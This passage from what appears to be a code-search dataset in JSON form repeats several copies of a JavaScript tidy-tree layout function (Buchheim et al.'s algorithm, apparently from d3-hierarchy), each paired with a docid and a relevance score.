t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n }", "title": "" }, { "docid": "debb412c3949e4d3f8dbee96a1a57d90", "score": "0.528414", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n }", "title": "" }, { "docid": "debb412c3949e4d3f8dbee96a1a57d90", "score": "0.528414", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n }", "title": "" }, { "docid": "9c16f820d7aa6c951e0d259110c47c9e", "score": "0.5274869", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n}", "title": "" }, { "docid": "9c16f820d7aa6c951e0d259110c47c9e", "score": "0.5274869", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n}", "title": "" }, { "docid": "9c16f820d7aa6c951e0d259110c47c9e", "score": "0.5274869", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n}", "title": "" }, { "docid": "9c16f820d7aa6c951e0d259110c47c9e", "score": "0.5274869", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n}", "title": "" }, { "docid": "9c16f820d7aa6c951e0d259110c47c9e", "score": "0.5274869", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n}", "title": "" }, { "docid": 